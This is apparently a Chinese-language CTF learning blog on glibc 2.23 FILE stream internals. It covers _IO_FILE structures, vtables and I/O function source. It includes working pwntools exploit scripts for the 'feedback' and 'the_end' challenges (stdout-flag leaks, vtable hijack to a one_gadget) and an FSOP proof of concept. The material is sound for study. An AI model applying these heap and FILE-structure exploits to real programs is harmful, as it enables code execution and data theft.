IO file入门

概述

因为高版本libc的利用离不开io file,故前来学习

从源码入手,分析和IO file有关的结构体和函数,并总结常用的利用方法

源码分析

这里分析的是给glibc2.23的源码为例

结构体

libio/libio/h中有这样一个结构体

_IO_FILE_plus

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

结构体中有一个_IO_FILE类型的变量和一个_IO_jump_t类型的指针,这个指针就是vtable(虚表)

我们接着往下看

_IO_FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. 标志着这个结构的状态,请往下看*/
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer 读缓冲区当前指针位置*/
char* _IO_read_end; /* End of get area. 读缓冲区结束位置*/
char* _IO_read_base; /* Start of putback+get area. 读缓冲区基地址*/
char* _IO_write_base; /* Start of put area. 写缓冲区基地址*/
char* _IO_write_ptr; /* Current put pointer. 写缓冲区当前指针位置*/
char* _IO_write_end; /* End of put area. 写缓冲区结束位置*/
char* _IO_buf_base; /* Start of reserve area. 缓冲区基地址*/
char* _IO_buf_end; /* End of reserve area. 缓冲区结束地址*/
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. 保存缓冲区基地址*/
char *_IO_backup_base; /* Pointer to first valid character of backup area 备份缓冲区基地址*/
char *_IO_save_end; /* Pointer to end of non-current get area. 保存缓冲区结束地址*/

struct _IO_marker *_markers; //标记指针,用于跟踪缓冲区读写位置

struct _IO_FILE *_chain; //文件链表

int _fileno; //文件描述符
#if 0
int _blksize;
#else
int _flags2; //第二个文件标志
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. 过去的文件偏移(已弃用) */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column; //当前列号(用于支持列计算)
signed char _vtable_offset; //虚函数表偏移量
char _shortbuf[1]; //短缓冲区

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock; //文件锁
#ifdef _IO_USE_OLD_IO_FILE
};

这里的文件链表即将文件描述符链起来的链表

0

从右到左文件描述符分别为0,1,2

这三个部分在程序启动时就会初始化,且这仨是位于libc上的,之前也见过泄露其地址来获得libc基址的情况

因为是在程序运行后才进行初始化,所以我们可以在bss段找到它们

1

_IO_jump_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy); // 占位符,没有实际功能
JUMP_FIELD(size_t, __dummy2); // 占位符,没有实际功能
JUMP_FIELD(_IO_finish_t, __finish); // 完成操作的函数指针
JUMP_FIELD(_IO_overflow_t, __overflow); // 写缓冲区溢出处理函数指针
JUMP_FIELD(_IO_underflow_t, __underflow); // 读缓冲区欠载处理函数指针
JUMP_FIELD(_IO_underflow_t, __uflow); // 读缓冲区欠载处理函数指针
JUMP_FIELD(_IO_pbackfail_t, __pbackfail); // 处理推回字符的函数指针
JUMP_FIELD(_IO_xsputn_t, __xsputn); // 写入多个字符的函数指针
JUMP_FIELD(_IO_xsgetn_t, __xsgetn); // 读取多个字符的函数指针
JUMP_FIELD(_IO_seekoff_t, __seekoff); // 按偏移量移动文件指针的函数指针
JUMP_FIELD(_IO_seekpos_t, __seekpos); // 移动文件指针到指定位置的函数指针
JUMP_FIELD(_IO_setbuf_t, __setbuf); // 设置缓冲区的函数指针
JUMP_FIELD(_IO_sync_t, __sync); // 同步文件流的函数指针
JUMP_FIELD(_IO_doallocate_t, __doallocate);// 分配缓冲区的函数指针
JUMP_FIELD(_IO_read_t, __read); // 读取数据的函数指针
JUMP_FIELD(_IO_write_t, __write); // 写入数据的函数指针
JUMP_FIELD(_IO_seek_t, __seek); // 移动文件指针的函数指针
JUMP_FIELD(_IO_close_t, __close); // 关闭文件流的函数指针
JUMP_FIELD(_IO_stat_t, __stat); // 获取文件状态的函数指针
JUMP_FIELD(_IO_showmanyc_t, __showmanyc); // 显示可用字符数的函数指针
JUMP_FIELD(_IO_imbue_t, __imbue); // 设置区域设置信息的函数指针
};

JUMP_FIRLD宏

1
#define JUMP_FIELD(TYPE, NAME) TYPE NAME

JUMP_FIELD(size_t, __dummy);size_t __dummy

看起来没啥用,应该是为了方便统一进行管理

flag标志位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define _IO_MAGIC 0xFBAD0000           /* Magic number 文件结构体的魔数,用于标识文件结构体的有效性 */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio 模拟旧的标准输入输出库(stdio)行为的魔数 */
#define _IO_MAGIC_MASK 0xFFFF0000 /* Magic mask 魔数掩码,用于从 _flags 变量中提取魔数部分 */
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. 用户拥有缓冲区,不在关闭时删除缓冲区 */
#define _IO_UNBUFFERED 2 /* Unbuffered 无缓冲模式,直接进行I/O操作,不使用缓冲区 */
#define _IO_NO_READS 4 /* Reading not allowed 不允许读取操作 */
#define _IO_NO_WRITES 8 /* Writing not allowed 不允许写入操作 */
#define _IO_EOF_SEEN 0x10 /* EOF seen 已经到达文件结尾(EOF) */
#define _IO_ERR_SEEN 0x20 /* Error seen 已经发生错误 */
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. 不关闭文件描述符 _fileno,在清理时不调用 close 函数 */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all. 链接到一个链表(使用 _chain 指针),用于 streambuf::_list_all */
#define _IO_IN_BACKUP 0x100 /* In backup 处于备份模式 */
#define _IO_LINE_BUF 0x200 /* Line buffered 行缓冲模式,在输出新行时刷新缓冲区 */
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logically tied. 在输出和输入指针逻辑上绑定时设置 */
#define _IO_CURRENTLY_PUTTING 0x800 /* Currently putting 当前正在执行 put 操作 */
#define _IO_IS_APPENDING 0x1000 /* Is appending 处于附加模式(在文件末尾追加内容) */
#define _IO_IS_FILEBUF 0x2000 /* Is file buffer 是一个文件缓冲区 */
#define _IO_BAD_SEEN 0x4000 /* Bad seen 遇到错误(bad flag set) */
#define _IO_USER_LOCK 0x8000 /* User lock 用户锁定,防止其他线程访问 */

一般情况下我们只需要将其标志位改为0xFBAD1800就行了

小结

_IO_FILE_plus结构体中有俩变量,一个是_IO_FILE类型的,这个结构体中定义了关于该文件的一系列指针,其中包含了一个_IO_FILE类型的指针,构成了一个链表

_IO_jump_t体中定义了一系列对文件数据进行操作的指针

通过修改_IO_write_base_IO_write_ptr这两个变量的值来达到任意地址写,不过一般只需要将_IO_write_base的值改小来泄露libc就足够了

IO函数

fread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);//加锁
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);//调用_IO_sgetn函数
_IO_release_lock (fp);//解锁
return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)

继续跟进_IO_sgetn

1
2
3
4
5
6
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
/* FIXME handle putback buffer here! */
return _IO_XSGETN (fp, data, n);
}

_IO_XSGETN的简单封装,这里_IO_XSGETN就是我们vtable上的一个函数指针

fread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
_IO_size_t
_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t request = size * count;
_IO_size_t written = 0;
CHECK_FILE (fp, 0);
if (request == 0)
return 0;
_IO_acquire_lock (fp);
if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (const char *) buf, request);//调用_IO_sputn
_IO_release_lock (fp);
/* We have written all of the input in case the return value indicates
this or EOF is returned. The latter is a special case where we
simply did not manage to flush the buffer. But the data is in the
buffer and therefore written as far as fwrite is concerned. */
if (written == request || written == EOF)
return count;
else
return written / size;
}
libc_hidden_def (_IO_fwrite)

跟进_IO_sputn

1
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

也是会调用我们vtable上的函数指针_IO_XSPUTN

fopen

1
#   define fopen(fname, mode) _IO_new_fopen (fname, mode)
1
2
3
4
5
_IO_FILE *
_IO_new_fopen (const char *filename, const char *mode)
{
return __fopen_internal (filename, mode, 1);
}

看看__fopen_internal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
_IO_FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
struct locked_FILE
{
struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
struct _IO_wide_data wd;
} *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));//为file结构体分配空间

if (new_f == NULL)
return NULL;
#ifdef _IO_MTSAFE_IO
new_f->fp.file._lock = &new_f->lock;
#endif
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
_IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps);
#else
_IO_no_init (&new_f->fp.file, 1, 0, NULL, NULL);
#endif
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;//初始化虚表
_IO_file_init (&new_f->fp);//初始化
#if !_IO_UNIFIED_JUMPTABLES
new_f->fp.vtable = NULL;
#endif
if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)//调用_IO_file_fopen打开文件
return __fopen_maybe_mmap (&new_f->fp.file);

_IO_un_link (&new_f->fp);
free (new_f);
return NULL;
}

_IO_file_init又会调用_IO_link_in

1
2
3
4
5
6
7
8
9
10
11
12
13
void
_IO_new_file_init (struct _IO_FILE_plus *fp)
{
/* POSIX.1 allows another file handle to be used to change the position
of our file descriptor. Hence we actually don't know the actual
position before we do the first fseek (and until a following fflush). */
fp->file._offset = _IO_pos_BAD;
fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS;

_IO_link_in (fp);
fp->file._fileno = -1;
}
libc_hidden_ver (_IO_new_file_init, _IO_file_init)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void
_IO_link_in (struct _IO_FILE_plus *fp)
{
if ((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
run_fp = (_IO_FILE *) fp;
_IO_flockfile ((_IO_FILE *) fp);
#endif
fp->file._chain = (_IO_FILE *) _IO_list_all;//以_IO_list_all为链表头构建链表
_IO_list_all = fp;
++_IO_list_all_stamp;
#ifdef _IO_MTSAFE_IO
_IO_funlockfile ((_IO_FILE *) fp);
run_fp = NULL;
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
}
}
libc_hidden_def (_IO_link_in)

总结下来fopen干了这些事

  1. 在堆上分配空间构建FILE结构体
  2. 初始化虚表
  3. 初始化FILE结构和链表
  4. 调用函数打开文件

fclose

fclose作用是关闭一个文件流,同时将其缓冲区中的数据输出到磁盘中,并释放文件指针及有关的缓冲区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;

CHECK_FILE(fp, EOF);

#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif

/* First unlink the stream. */
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);//调用_IO_un_link函数释放链表

_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);//关闭文件流
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);//调用vtable中_IO_FINISH
if (fp->_mode > 0)
{
#if _LIBC
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;

__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
#endif
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
{
fp->_IO_file_flags = 0;
free(fp);//释放FILE结构
}
return status;
}

IO_un_link

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void
_IO_un_link (struct _IO_FILE_plus *fp)
{
if (fp->file._flags & _IO_LINKED)
{
struct _IO_FILE **f;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
run_fp = (_IO_FILE *) fp;
_IO_flockfile ((_IO_FILE *) fp);
#endif
if (_IO_list_all == NULL)
;//空链表
else if (fp == _IO_list_all)
{
_IO_list_all = (struct _IO_FILE_plus *) _IO_list_all->file._chain;
++_IO_list_all_stamp;
}//目标流在链表头部
else
for (f = &_IO_list_all->file._chain; *f; f = &(*f)->_chain)
if (*f == (_IO_FILE *) fp)
{
*f = fp->file._chain;
++_IO_list_all_stamp;
break;
}//目标流在链表中部通过遍历解链
fp->file._flags &= ~_IO_LINKED;
#ifdef _IO_MTSAFE_IO
_IO_funlockfile ((_IO_FILE *) fp);
run_fp = NULL;
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
}
}
libc_hidden_def (_IO_un_link)

fclose做了这些事

  1. 调用_IO_un_link解链
  2. 关闭文件流
  3. 调用vtable_IO_FINISH
  4. 释放FILE结构体所在的堆块

puts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);

if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (_IO_stdout);
return result;
}

puts函数也是通过调用_IO_sputn来进行输出的.printf函数在参数是以\n结尾的纯字符串时,printf会被优化为puts并去除结尾的换行符

小结

I/O函数最终都和vtable中的函数指针有关系,如果可以控制vtable结构体是不是就可以控制执行流程了

缓冲区

缓冲区是一块临时储存数据的区域,我们在进行读写操作时,数据都会先进入缓冲区

例如scanf函数,我们从键盘键入的数据会先写入输入缓冲区stdin,然后函数再从输入缓冲区中取出数据写入对应地址,直到遇到\n(如果格式控制字符串没有限制读入字节的话),当scanf函数在缓冲区遇到空格,制表符,换行符时会自动跳过,将其留在缓冲区,这也是为什么我们再使用scanf进行输入时一般会跟一个getchar函数来读取缓冲区的换行符.对于指定字节的格式例如%16s就只会从缓冲区中取出0xf个字节(剩下一个字符是\0)放入指定地址中,剩下的数据仍然留在缓冲区

输入的缓冲区默认是stdin,输出的缓冲区默认是stdout

例如puts函数,我们执行一个puts("hello")时,会将字符串“hello”连同一个\n写入输出缓冲区,那么写入到输出缓冲区了,要怎么才能在输出设备如终端上看见呢?

在输出缓冲区遇到\n时就会触发标准输出缓冲区刷新操作,这个操作会将输出缓冲区的数据写入到实际的输出设备中,我们就可以在终端上看见了

又如c++中的输出语句std::cout << "Hello" << std::endl;向输出缓冲区写入“Hello”然后再使用std::endl来刷新缓冲区输出数据

那么stderr又是谁的默认缓冲区呢,它是错误输出的默认缓冲区,而且他的缓冲模式是无缓冲,而其他俩的默认缓冲模式在连接到终端时是行缓冲模式

三种缓冲模式

我们经常碰到这种语句

1
2
3
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);

这就是在将这三个文件流设置为无缓冲模式

三种缓冲模式有什么区别呢?

无缓冲 行缓冲 全缓冲
触发条件 标准错误输出默认采用 连接到交互式终端时默认采用 连接到非终端设备(文件,管道)时默认采用
写入时机 每次I/O调用时直接写入 遇到\n时,缓冲区写满时或遇到显示调用fflush时写入 缓冲区写满或显示调用fflush/fclose时写入

利用方法

修改_IO_FILE结构体数据

前面结构体源码分析小结已经提过了这里就不在赘述了

例如:Moectf2023 feedback

main函数里有个加载flag的函数

2

flag中的内容读取到&puts + xxx处,这个偏移可以从gdb中得出

3

函数本身存在堆溢出漏洞,和数组越界漏洞

freeback_list处于bss段上,前文提到我们默认的三个文件流也在bss段上

4

这里设idx为负数的话就可以写到stdin结构体里面了

5

print_feedback函数还贴心的提供了puts函数用于将缓冲区内的数据进行输出

6

接下来思路就很明确了,第一次写先泄露libc

第二次写就将内存中的数据进行输出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def write(idx,content):
sa('write?\n',str(idx))
sla('feedback.\n',content)

#-8为stdout结构体指针

if __name__ == '__main__':
#dbg()
payload = p64(0xfbad1800) + p64(0) * 3 + p8(0)
write(-8,payload)
r(8)
libc.address = uu64(6) - libc.sym['_IO_2_1_stdin_']
lg('libc',libc.address)
flag = libc.sym['puts'] + 0x16d2e0
payload1 = p64(0xfbad1800) + p64(0) * 3 + p64(flag) + p64(flag + 0x20)
sa('write?',str(-8))
#p()
sla('feedback.',payload1)
ia()

伪造 vtable 劫持程序流程

vtable表中函数参数

8

7

参数即为对应的_IO_FILE_plus指针,如需调用system("/bin/sh"),还需改变这个指针

9

10

11

但是_IO_XSGETN这个函数传入的第一个参数又是对应_IO_FILE类型的指针,ctf-wiki上没有提及,后面我自己实验下

利用思路

在libc2.23版本下vtable表是不可写的,这导致我们不能直接篡改数据来劫持虚表函数,但是我们可以劫持_IO_FILE_plusvtable的指针

那么_IO_FILE_plus这个结构体在哪呢?

对于fopen打开的文件来说是位于堆内存上的,对于stdin,stdout,stderr来说是位于libc.so

劫持vtable指针后再在对应地址伪造虚表函数指针就能达到劫持的效果了

hctf the_end

link

main函数

12

实现了任意地址写5字节的功能,而且还提供了libc地址

这里可能第一眼想到的是劫持exitfini_array,但这里主要介绍的是IO的打法,感兴趣可以自己去试试

exit在执行时会调用_IO_file_setbuf函数,这个函数会调用vtable上的函数指针,可以通过劫持stdout对应的_IO_FILE_plusvtable指针来伪造,然后将调用的函数指针改为ogg即可getshell

13

按理说stdout应该在.data段能找到,但我反编译出来没有,可以通过调试找到

14

有时候没有符号表可能无法直接通过p指令把stdout地址打印出来也可以调试看相关函数的参数来获得

那么利用思路就是用其中两个字节将_IO_FILE_plusvtable指针的末2位劫持到fake_vtable去,fake_vtable需要拥有可写权限且其地址+0x58处(0x58vtable_IO_setbuf_t相对基址的偏移)与libc有固定偏移的一个地址,然后修改函数指针为ogg

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if __name__ == '__main__':
ru('gift ')
#p()
libc.address = int(r(14),16) - libc.sym['sleep']
lg('libc',libc.address)
vtable = libc.address + 0x3C56f8
fake = libc.address + 0x3c4008
ogg = libc.address + 0xf1247
lg('fake',fake)
lg('vtable',vtable)
s(p64(vtable))
#p()
sp()
s(p64(fake)[0:1])
sp()
s(p64(vtable+1))
sp()
s(p64(fake)[1:2])
sp()
s(p64(fake+0x58))
sp()
s(p64(ogg)[0:1])
sp()
s(p64(fake+0x58+1))
sp()
s(p64(ogg)[1:2])
sp()
s(p64(fake+0x58+1+1))
sp()
s(p64(ogg)[2:3])
ia()

FSOP

原理

FSOP的核心就是劫持上文提到的文件链表,具体点就是劫持链表头_IO_list_all的值,通过伪造文件链表来控制执行流程

伪造完过后又如何触发呢?

这里选择的触发方法是通过调用_IO_flush_all_lockp,这个函数会刷新链表中所有项的文件流,相当于对每一个FILE调用fflush,也对应着会调用_IO_FILE_plus.vtable中的_IO_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}

_IO_flush_all_lockp又如何被调用呢?

15

这意味着这个函数不需手动调用,只需要程序执行abort流程或是程序正常退出(通过exit)时就会自动调用

在执行的时候有两个条件需要满足if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))

fp->_mode<=0fp->_IO_write_ptr > fp->_IO_write_base

前者标志着该文件流是否被关闭,不过_IO_list_all指向的文件流是我们伪造的,可以自由控制,后者也是前文提到过的

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8

int main(void)
{
void *ptr;
long long *list_all_ptr;

ptr=malloc(0x200);

*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);//虚表位置

*(long long*)((long long)ptr+0x100+24)=0x41414141;//伪造的_IO_overflow指针

list_all_ptr=(long long *)_IO_list_all;

list_all_ptr[0]=ptr;

exit(0);//调用_IO_flush_all_lockp
}

高版本libc利用

在2.24版本的libc后,加入了对vtable的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;

/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. 第一步,检测虚表指针是否位于_IO_vtable段中*/
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))//通过偏移是否大于段的大小来判断
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. 如果不在对应段中,调用_IO_vtable_check进行进一步检查*/
_IO_vtable_check ();
return vtable;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

如果vtable是非法的,就会引发abort

新的利用技术

利用缓冲区机制

这个利用方法在就是利用方法1,前文已经提到了,这里仅作说明

利用_IO_str_jumps

在libc中不仅只有_IO_file_jumps这一个虚表,还有_IO_str_jumps,而且这个vtable不会被检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

如果我们将vtable指针改成这个vtable然后构造IO链来劫持程序,IO链挺多的,后面再慢慢学

参考资料

先知社区

ctf-wiki